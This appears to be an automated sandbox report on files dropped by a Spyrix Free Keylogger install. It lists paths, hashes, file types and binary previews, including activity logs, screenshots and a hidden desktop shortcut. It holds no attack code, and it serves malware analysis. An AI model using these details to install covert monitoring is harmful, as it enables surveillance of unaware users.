SHA-512:	C73BE7BE0C52CDAB4BA1E3022D9D1E1E2DBC897E34A4F243A7D8936BB7B4A2F46DF2BD1F6E7CA63F6A80C799E4EAD1EAEE38550683473EBF53FC8E2569112BBF
Malicious:	false
Reputation:	unknown
Preview:	http://www.spyrix.com/purchase.php?prg=sfk

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\temp\reg\is-DUO5D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	GIF image data, version 89a, 327 x 57
Category:	dropped
Size (bytes):	7609
Entropy (8bit):	7.838852889190603
Encrypted:	false
SSDEEP:	192:CRjl+OutIyaaHKip9QY5Lg6pWlicYMG5/b:OshLaIFUug6pGzo
MD5:	359D85C48DCA7C9C529A7EC0F4D30DC4
SHA1:	749EE1A5C90299C9360DD3131222CE92584FFCC2
SHA-256:	03BBB9C7C115C8FD5E2FB573B86687AE27672C7F8B970FB9661E5007FC6E42BE
SHA-512:	9494049C968B6BEE93090630086EB4D8129B48E5E6CBA3CF2E7EEF2114948316D0068F859594EA3A464AB2FE99510C1C94EEF786A933114C0CFC630C13435B1D
Malicious:	false
Reputation:	unknown
Preview:	GIF89aG.9....Gq.....$...Z...ud.........\|.........,&..........M5.................g.........................yv.....6.............v.72......g.L........C.................T.......m...kg.......eX...X}.k..{................s.......{..........................................n...................C......ZU..................................................`......D@.M........z........F..........\|..a....................i........................s.......UQ...............................4c...................?%....w.#Y.BBB.........000.........fff.....888TTTxxx.ZD..........................d.........................................................................r..*]....Q.....U..~............OM.......................................................!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\temp\reg\is-LVQVH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	GIF image data, version 89a, 884 x 198
Category:	dropped
Size (bytes):	90361
Entropy (8bit):	7.9769989580983625
Encrypted:	false
SSDEEP:	1536:Zy6BW/LDE6LyfJVEr+jMi2hm9YFrRUv9Ie2eIDtTER:M6eL46LCJVpCsy6IAIRe
MD5:	3475836FCF6BBE603D1E83DD8A3C4765
SHA1:	DD92253B2600C1612FDC657FFB41E4FD66352C6B
SHA-256:	F8E582779693B4DAB740E13721093D9B8EB69DC0FF5CFACB5208C04321BA37F8
SHA-512:	8AE5E48692962A7F8049521F3B3510F1F1B9EF7CAF4A40526D7D6286BBEB647CFA54D88AF9A8E03AD884A42AECBA677E0A229577A394CD228CDF98E0F99506E4
Malicious:	false
Reputation:	unknown
Preview:	GIF89at..........u.J................i]OOH..........mQ...K2..C$..............B.p..X...dH....V<........M........%#"...........z.....[&....x8#.........`..............,$.....}}}.._...d0......Hw.hih...L..............xK..q..v.............e(......~......`.z`..........g.;".......t..........Y....r+.....q....xd...........R...........ad\.......WA......a...Y).R......3... .....]CHA6.......n............z ....a<..2.b...................L0....%+...nst]cc......lnk..M..x....QD.....&........Y..;........syu^^X......~..........fnr..e..xL..................U.hV....`..j................D....g..R....^.....<5.vqCCC..84/..2..5../..;.....&....L%.r+...........).....................................................W..V.......v............R......WYW....?%.........!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\temp\reg\ru\info.dat (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	GIF image data, version 89a, 884 x 198
Category:	dropped
Size (bytes):	90699
Entropy (8bit):	7.976611505014986
Encrypted:	false
SSDEEP:	1536:TO6fc7nz/3pXEtubO/n9l7STXTQXsxalgH8UsX4UzAY3p18N14e86zebLqDf:BEzzRXEtubO/yTXTlxbrUDcu/8v4e8AH
MD5:	EF79CF8AABBC41E42025D3ACF51B36C9
SHA1:	71940D0E9D230D295D8A89397DF4ED0BA5BD72DA
SHA-256:	24D4AC7D4101A76F35F636660A92AD95E1C068065D17BB4F8CC27CD3C91402F8
SHA-512:	E579BEED091D3A4068AE664640BA0EDCFB309F0C7142CD452B45F79A69B6423A8237D9256C9A0E3FFE4F22EBC1C01D26B2BE79FD7B3E3E9643A1142A997E5902
Malicious:	false
Reputation:	unknown
Preview:	GIF89at.......s...............f[.......u..mQ...ONH.L1..C;................C+.qX....X.dH......W>...........M..........'&#.z....[&..x7".......................Y........+#{}}.......^...a.......hih...X..............zL....n..v..........e(........`.za..........j.7 .......m..........y.......u,......q....we.........T.............dd[.......WCi......e..Y*.R...4...!.....\BEC?..........n...............a>..b.Cy.............=CH.}.....M0....%+nst]dc......mpl.O...N..x....E?.....).....[..;.......sxq[^X......}.........c...fmr..~M..................L.k_...._..j.{.................D....f....a.....?(..{.\|{974..5...../..;.....&....L%.r+...........).......................................................................W....v...............R...YYW.......?%.........!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\temp\reg\ru\info.net (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.248529327128576
Encrypted:	false
SSDEEP:	3:N1KJS40dyTKVQXGNErnVernn:Cc40dyTK6XaErVer
MD5:	8F1A40DDD71F7EA45DF0E2FE0BACA597
SHA1:	E64C2983DE93F6566752E01BC0A2A5F3983759F6
SHA-256:	2360EAEBD32653D08F75DB2F1C2AE67F4AE3906D09F94AD4C532BA35951553D1
SHA-512:	C73BE7BE0C52CDAB4BA1E3022D9D1E1E2DBC897E34A4F243A7D8936BB7B4A2F46DF2BD1F6E7CA63F6A80C799E4EAD1EAEE38550683473EBF53FC8E2569112BBF
Malicious:	false
Reputation:	unknown
Preview:	http://www.spyrix.com/purchase.php?prg=sfk

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\temp\reg\ru\info.ttl (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	GIF image data, version 89a, 327 x 57
Category:	dropped
Size (bytes):	7829
Entropy (8bit):	7.826687568770807
Encrypted:	false
SSDEEP:	192:ZwZ+70N539DtmJu0clifT2eTb6uRM3Q6q:Z0+QNftOcloTBTtRMHq
MD5:	241545A94AF6185978CFD96B32101E95
SHA1:	75FC98239798D933FD87978D7545964CE0E611D8
SHA-256:	01FD9E13EEF1D14C6C2B4E5EA16E40789FE5423715500C29A7DC58FDF2C1364F
SHA-512:	1A127A5EB9573418B3301A0E498B5335AEE0E99F87C8B4C12B6907476D49D1781264700A692FBE24971D405695AAE9BD5C4F40E95D10A1F26CBB0818A32899E1
Malicious:	false
Reputation:	unknown
Preview:	GIF89aG.9...............g.............r...w................m.............$.....Z...ud.........\|..............-(.......M5o...................h.............6{...........yu6.............w.83.........L.....>..d.........U....m...mj.......eYY~.k..{.............................w........c....................!r............p........W.........E.....ZU.......j.................................b.....Qw..D@.N......L.z......F.A...........\|..N......f.............x.........].......UQ.........................................`.....?%.w.#Y....BBB...fff............000...TTT888.....xxx.ZD.....................b.....>j....Iq...................................................@l.......~........Q..U..............4c.........._......OM.................................!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\temp\reg\ru\is-26FV7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	GIF image data, version 89a, 884 x 198
Category:	dropped
Size (bytes):	90699
Entropy (8bit):	7.976611505014986
Encrypted:	false
SSDEEP:	1536:TO6fc7nz/3pXEtubO/n9l7STXTQXsxalgH8UsX4UzAY3p18N14e86zebLqDf:BEzzRXEtubO/yTXTlxbrUDcu/8v4e8AH
MD5:	EF79CF8AABBC41E42025D3ACF51B36C9
SHA1:	71940D0E9D230D295D8A89397DF4ED0BA5BD72DA
SHA-256:	24D4AC7D4101A76F35F636660A92AD95E1C068065D17BB4F8CC27CD3C91402F8
SHA-512:	E579BEED091D3A4068AE664640BA0EDCFB309F0C7142CD452B45F79A69B6423A8237D9256C9A0E3FFE4F22EBC1C01D26B2BE79FD7B3E3E9643A1142A997E5902
Malicious:	false
Reputation:	unknown
Preview:	GIF89at.......s...............f[.......u..mQ...ONH.L1..C;................C+.qX....X.dH......W>...........M..........'&#.z....[&..x7".......................Y........+#{}}.......^...a.......hih...X..............zL....n..v..........e(........`.za..........j.7 .......m..........y.......u,......q....we.........T.............dd[.......WCi......e..Y*.R...4...!.....\BEC?..........n...............a>..b.Cy.............=CH.}.....M0....%+nst]dc......mpl.O...N..x....E?.....).....[..;.......sxq[^X......}.........c...fmr..~M..................L.k_...._..j.{.................D....f....a.....?(..{.\|{974..5...../..;.....&....L%.r+...........).......................................................................W....v...............R...YYW.......?%.........!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\temp\reg\ru\is-7NMJI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	GIF image data, version 89a, 327 x 57
Category:	dropped
Size (bytes):	7829
Entropy (8bit):	7.826687568770807
Encrypted:	false
SSDEEP:	192:ZwZ+70N539DtmJu0clifT2eTb6uRM3Q6q:Z0+QNftOcloTBTtRMHq
MD5:	241545A94AF6185978CFD96B32101E95
SHA1:	75FC98239798D933FD87978D7545964CE0E611D8
SHA-256:	01FD9E13EEF1D14C6C2B4E5EA16E40789FE5423715500C29A7DC58FDF2C1364F
SHA-512:	1A127A5EB9573418B3301A0E498B5335AEE0E99F87C8B4C12B6907476D49D1781264700A692FBE24971D405695AAE9BD5C4F40E95D10A1F26CBB0818A32899E1
Malicious:	false
Reputation:	unknown
Preview:	GIF89aG.9...............g.............r...w................m.............$.....Z...ud.........\|..............-(.......M5o...................h.............6{...........yu6.............w.83.........L.....>..d.........U....m...mj.......eYY~.k..{.............................w........c....................!r............p........W.........E.....ZU.......j.................................b.....Qw..D@.N......L.z......F.A...........\|..N......f.............x.........].......UQ.........................................`.....?%.w.#Y....BBB...fff............000...TTT888.....xxx.ZD.....................b.....>j....Iq...................................................@l.......~........Q..U..............4c.........._......OM.................................!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\temp\reg\ru\is-JJ85I.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.248529327128576
Encrypted:	false
SSDEEP:	3:N1KJS40dyTKVQXGNErnVernn:Cc40dyTK6XaErVer
MD5:	8F1A40DDD71F7EA45DF0E2FE0BACA597
SHA1:	E64C2983DE93F6566752E01BC0A2A5F3983759F6
SHA-256:	2360EAEBD32653D08F75DB2F1C2AE67F4AE3906D09F94AD4C532BA35951553D1
SHA-512:	C73BE7BE0C52CDAB4BA1E3022D9D1E1E2DBC897E34A4F243A7D8936BB7B4A2F46DF2BD1F6E7CA63F6A80C799E4EAD1EAEE38550683473EBF53FC8E2569112BBF
Malicious:	false
Reputation:	unknown
Preview:	http://www.spyrix.com/purchase.php?prg=sfk

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\tmain.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.4065994592116873
Encrypted:	false
SSDEEP:	24:4nISm6zYtefo8+9n8Qm8NUF8hxR8Y8Y82KIl:uzmIeefw9PmKx7l
MD5:	8CD9FC7BAA20456A91F3AC4DCEB36D1C
SHA1:	B40529BB8752FACB6C2BA3421FDE5670A45D58E3
SHA-256:	B9E55A391E3C165DE3B3D08C49C7695B350623E37DD71A5A051D90A027939710
SHA-512:	B271657DE4EB639C92877C3C83C0F67254A32D0BCEB48999EABDD9095D5B1804B946E4FDEA217E7BE0F7D1877AA0F9CA7AFEE69576AC9962AFBCFAECDFD1B14F
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..................................................................................................................j...d...d...j..............................................d...p...........p...d...~...............................s...d.........................c...q..........................d.................................d......................q...t...................................y...l...................d...................d...~...................d...................d...v...u...d...d...........................d...................d...d...i..................................d...................d...................................d...d...d...................d.......................k...d...p..........d...................d..........................................d...................d...........................................d...................d...........................................d.......................n...........................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	InnoSetup Log Spyrix Free Keylogger 11.6.22, version 0x418, 231571 bytes, 841618\37\user\37, C:\ProgramData\Security Monitor\{827D21CC-
Category:	dropped
Size (bytes):	231571
Entropy (8bit):	4.056422447306766
Encrypted:	false
SSDEEP:	1536:0nhhviSIni3SboaS4nnVB2UJFuTEXBDNJkBrz//7LX4vTLLzLTDUbzDDLH3HEIJ1:Sh4i3SboaSon7JDD7Kz
MD5:	16CC9C45048BC7AFA2CB86267C2768E3
SHA1:	63EB75C27458F1D0AD33808C9CF8A0D03B66DA24
SHA-256:	1D53EC84FAAB608A380470BCDA01CCA908EB369B96DF7CB0F628C81762549D8D
SHA-512:	88DFAE6149840F56E218035C5CBD63F13A5E80C5392C0A9F20A7869DD054C823BE94D4492068BCB24DE36140DBCAF743907723DBC01A4674062B05AD1787E894
Malicious:	false
Reputation:	unknown
Preview:	Inno Setup Uninstall Log (b)....................................Spyrix Free Keylogger...........................................................................................................Spyrix Free Keylogger 11.6.22...............................................................................................................%...............................................................................................................GQE............&...............8.4.1.6.1.8......a.l.f.o.n.s..t...C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.S.e.c.u.r.i.t.y. .M.o.n.i.t.o.r.\.{.8.2.7.D.2.1.C.C.-.A.2.2.D.-.4.5.D.6.-.2.3.C.A.-.4.5.1.D.D.A.C.7.6.9.B.A.}....................... .....r....hK..IFPS....d.......A.......................................................................................................................................................BOOLEAN...................................................!............"........#................"........%........&.................... ...$...'.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\unins000.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1308909
Entropy (8bit):	6.226978823759581
Encrypted:	false
SSDEEP:	24576:8tdAm9DUi/CR3wCkCiRgoG7hBaHkbEXXeG/jFt54DTx9KJ:kqTytRFk6ek14hk
MD5:	E7AB51FCD6A4B56B17A6D7019743346A
SHA1:	0AC79F07195B6D6C25D64864C762E5910D8DC52F
SHA-256:	3BA57A14C77AD692AD21D6502ED32A9FFD1E23CF908F70A4E3E13635DEBED246
SHA-512:	1F2CAA370B45ACCEF65E1863EEC48D02395349D44FDED44E9FE3652F5CDA05A3DC271295550EC9905826F964D20E9774793DACA0937F5D79308154E060AFD808
Malicious:	false
Reputation:	unknown
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......W............................l........ ....@..........................p............@......@..............................@8...0...2................................................... .......................................................text............................... ..`.itext.............................. ..`.data...h0... ...2..................@....bss.....a...`.......0...................idata..@8.......:...0..............@....tls....<............j...................rdata....... .......j..............@..@.rsrc....2...0...4...l..............@..@....................................@..@........................................................................................................................................

C:\ProgramData\Security Monitor\{WCS1080F-FD66-4650-B1B8-C8310A1CE2D3}\ffws.exe

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	38533120
Entropy (8bit):	6.659117982180381
Encrypted:	false
SSDEEP:	393216:lw4FxslQp+QsIjKvL/RouclpOaPdvmtzzGnDHmgRBbxr5U0zvOaHxA2KZc4P9QpC:lw4fslOPKVouExr5U0zGaHxAJkuC+d7
MD5:	63C6697F6F8C4DE12A18633A65A6DD50
SHA1:	442715CE26B000A34E25DBE9BED05863C2488096
SHA-256:	2E92C42276AEA8D407AE41B3D8B63E6C39F33EC8D1CEEB4C632B54073B56BDA3
SHA-512:	50B6035BA8C2B4F871CD2CEF057A4CF21433999E6EBC2566DD92843D4F3DFFEF00198FA80F3D34424FAF049BEAFAFA637DB1FD061251A7D10FC82735E0313A92
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........................&...>J.............P....@..........................P........L...@... ......................0..G........C...........................p..(...........................L-.......................................................text...h...........................`..`.rodata.L..........................`.``.rotext..............t.............. .P`.data...\|U...P...V...*..............@.p..rdata...k.......k.................@..@.bss........@2.......................`..edata..G....0........2.............@.0@.idata...C.......D....A.............@.0..CRT....4....P........B.............@.0..tls.........`........B.............@.0..reloc..(....p........B.............@.0B........................................................................................................................................................................................

C:\ProgramData\Spyrix Free Keylogger\logs\45567.log

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	754
Entropy (8bit):	5.491306314967434
Encrypted:	false
SSDEEP:	12:H8Zg7xUic7M92rN9JpIic7MjvUni2DA92rLfq+zmSvYQL9rjzmSvYQRhw9rSflmi:H8ZgdKdlJil3frdySF6fq
MD5:	44167CD3D00035D2DFAE0683C8204F17
SHA1:	0A180CF459703F1E9B7F7F80155F35BEEF301C11
SHA-256:	3283AE57E069B18F092B979225D2834CA9783B54656FB1BE96A70C25E29AD264
SHA-512:	034AE8D099AC005CE84426823B407527806BED33D648A255E886F9220FE67AF7AC4C7A41919E9C18777D50F91C06C59CCBDDAA0849C75634FAD8BCDE83D4ECC2
Malicious:	false
Reputation:	unknown
Preview:	.DAYLY LOG..ACTIVITY;45567.0080421181;;;ID: 51 Start of User Session;user..APP;45567.0081894329;chrome.exe;Dashboard - Google Chrome;;user..PRG_RUN;45567.0081894329;chrome.exe;Google Chrome;C:\Program Files\Google\Chrome\Application\chrome.exe;user..SCREENSHOT;45567.0082221528;chrome.exe;Dashboard - Google Chrome;ID: 31 Window Change;user..APP;45567.0082309375;spkl.exe;Spyrix Free Keylogger - Settings Wizard;;user..PRG_STAT;45567.0082309375;spkl.exe;Spyrix Free Keylogger - Settings Wizard;[0,0];user..APP;45567.0083234259;explorer.exe;Program Manager;;user..PRG_STAT;45567.0083234259;spkl.exe;Spyrix Free Keylogger - Settings Wizard;[0,0];user..SCREENSHOT;45567.0083447685;explorer.exe;Program Manager;ID: 31 Window Change;user..

C:\ProgramData\Spyrix Free Keylogger\logs\45567.wdb

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3013000, file counter 11, database pages 4, cookie 0x2, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	1.5313874928750157
Encrypted:	false
SSDEEP:	48:TpEu/2vjRLYcW5P7cWFHo5Z7UKisuyFp/L0Q:NEjL05Pv5o5uKiszLQQ
MD5:	FE908A804BB4CF9F9B994266E19ED7C5
SHA1:	6712407183693EA58B24C23B40037BE475922065
SHA-256:	51DFF6729CC43218A2DD4DEC01B41162EDD148DC93D37A49C4829200BB993543
SHA-512:	7AC4E6C72C2174BBAA19109834F99ED54E5F0DCE1851B01069F0B2054635227F58318353460075E8D1CA5DE78F4566727EC8C23E4B2171C5DD6E8B7FA305F2CF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .........................................................................-.............A........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Spyrix Free Keylogger\logs\45567.wdb-journal

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	16928
Entropy (8bit):	1.376852963853455
Encrypted:	false
SSDEEP:	48:7MUL0MLYcW5P7cWFHo5Z7UKisuybqq5Eu/2vjg:7AML05Pv5o5uKiszbq6EK
MD5:	B9FB171774344510385078DBCE6F2E04
SHA1:	3DC4DA1B8A38548AF6A47D6EB91403CF2742A430
SHA-256:	ED1D95ABB53AA89462FCED03CEC740B8D50079BBEB04CF6D830DCF0969B11138
SHA-512:	082750AB7A91DE09EA30DB26E6AE416D81A1ACE8B65B00824BD428C72D25598BD1522EC1217E1A7FCF23E3D4573442507FAF26F6F9B867F60855D926B336B2CF
Malicious:	false
Reputation:	unknown
Preview:	.... .c......dc...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................!..........u.Y.=.!............................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Spyrix Free Keylogger\logs\logs.dat

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	93
Entropy (8bit):	4.5544559906135005
Encrypted:	false
SSDEEP:	3:DpRRLCBxr5BnWyCCBxrlBQUrdA/QOv:UB/p4CBxwBv
MD5:	3BFB562AC70894416897E87082117C87
SHA1:	5DA1FB6D86389E91B98B0408FDA57D962CC99E9C
SHA-256:	23ABDF0B1B32494B8E845A05AC92A92A853BFB41E564A2DC1C6D332809BB4D22
SHA-512:	217F920D596ED728B9CE72119AECA4812EFBA92A7330820FB0C36CA960A7CC36DC0226867059F1EC94DFDB889325B5704B2277C662CFD6A98D1EE422ECECF93B
Malicious:	false
Reputation:	unknown
Preview:	[Logs]..FirstLogName=45567.log..AllSize=0..LastLogName=45567.log..CLog=45567.log..CSize=754..

C:\ProgramData\Spyrix Free Keylogger\scr\45567.0082221528.jpg

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 891x487, components 3
Category:	dropped
Size (bytes):	24088
Entropy (8bit):	7.436437315116552
Encrypted:	false
SSDEEP:	384:0ZCCCPmB3/ssssssssg9sahaWpYn6oCY18OYav2B8zVVg5u7SLX:0p3/ssssssss+sacWe6La6YszX
MD5:	EBD48939D16029364B943B4CCAFF8682
SHA1:	A10B6ACE162346FD4110ABCB5E8CEDB0A8ACE6E5
SHA-256:	8B1E033C008F810899E5591B4FFC06CC22ADB625FBD0C6205A91C80C3CDDF55A
SHA-512:	4C357586313F0596F1DB2AE86A2A6FFEF27E6E00D10B4C448B8DB95CD91440229D1BF47F37B471BB45F443EB9ED22267C15210877746C01E1ECC139B776F9555
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.............C.(..#..(#!#-+(0<dA<77<{X]Id.......................................C.+--<5<vAAv..............................................................{.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..ws...($..\......zG..\|..........J......H....4b..........#.....?........zG..\|..(...?....?.F'.........jJ(.<O..=#.......................H....4b..........#.....?........zG..\|..(...?....?.F'.........jJ(.<O..=#.......................H....4b..........#.....?........zG..\|..(...?....?.F'.........jJ(.<O..=#.......................H....4b..........#.....?........z

C:\ProgramData\Spyrix Free Keylogger\scr\45567.0083447685.jpg

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 891x487, components 3
Category:	dropped
Size (bytes):	27480
Entropy (8bit):	7.37055925078746
Encrypted:	false
SSDEEP:	384:0ZCCCP0CCCCCCCCJztltLxngiiiiiisvPpfemQL3gg5i63i5W:0/Zlh9emQLNMU
MD5:	264F6709B84E12B2CEF8C8F5111C66BE
SHA1:	A7F3783A8A8506DA142DD48A86995E458249D34C
SHA-256:	0D89AB5807D33DDC0D148FF63556BA8C150584BC74B0AB52CDD3866F40CBDD79
SHA-512:	510B2837981969BD8ACB1018E50914ADB05DF5907253DB50D86DAD5B4A39A83D78E9085CFA45D4BEC6C2639C395099484C02436124144B86874AEB3970D61AF0
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.............C.(..#..(#!#-+(0<dA<77<{X]Id.......................................C.+--<5<vAAv..............................................................{.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..ws...($..\......zG..\|..........J......H....4b..........#.....?........zG..\|..(...?....?.F'.........jJ(.<O..=#.......................H....4b..........#.....?........zG..\|..(...?....?.F'.........jJ(.<O..=#.......................H....4b..........#.....?........zG..\|..(...?....?.F'.........jJ(.<O..=#.......................H....4b..........#.....?........z

C:\ProgramData\Spyrix Free Keylogger\scr\scr.dat

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	23
Entropy (8bit):	3.969001629875993
Encrypted:	false
SSDEEP:	3:ELW12f2QOvn:1103Ov
MD5:	578110645567D31032585740CD95311D
SHA1:	7025C7CC13BCAB608034927404057EC64A0FC229
SHA-256:	C86D9A509224203C72A3E42CA478E5BAD4EB5564799AE874B61CE0B533EFC9B3
SHA-512:	5B9E6E8CCCE0410CE5564F446C4D241EB0BA412D961EA777C4A05C22F0B80A71F4A4C6CB4EC68BF3B1BD54A0743C81FB81E9BA8A4C03891D05DF1ED56B15D278
Malicious:	false
Reputation:	unknown
Preview:	[Screens]..Size=51568..

C:\ProgramData\Spyrix Free Keylogger\temp\desktop\Spyrix Free Keylogger.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Icon number=0, Archive, ctime=Wed Oct 2 03:11:15 2024, mtime=Wed Oct 2 03:11:25 2024, atime=Mon Sep 23 18:21:00 2024, length=5346216, window=hide
Category:	dropped
Size (bytes):	2100
Entropy (8bit):	3.670259896310278
Encrypted:	false
SSDEEP:	48:8b4sMQRgVTaaCQj+mj9k+mE9k+m9kWNH+m9X4p:8eX5j+wk+Hk+yt+04
MD5:	87CFA46CE5AA36C49766DCCDCDB5089E
SHA1:	69069C529B5D93DB2282680BDA7428174DCCBC61
SHA-256:	5755FC3BD21DB9B73AF34B89B7D53088379FE294441223F0907820E74C8BF5FD
SHA-512:	D78DC00064A02D0741A2D96A3AF9F68B4E6CD5E190F294F2FF5107C009AD89DFA7B385552493AA96EF98655FEB1536EB954C5DFFE05BF606EA1831C8081CC58C
Malicious:	false
Reputation:	unknown
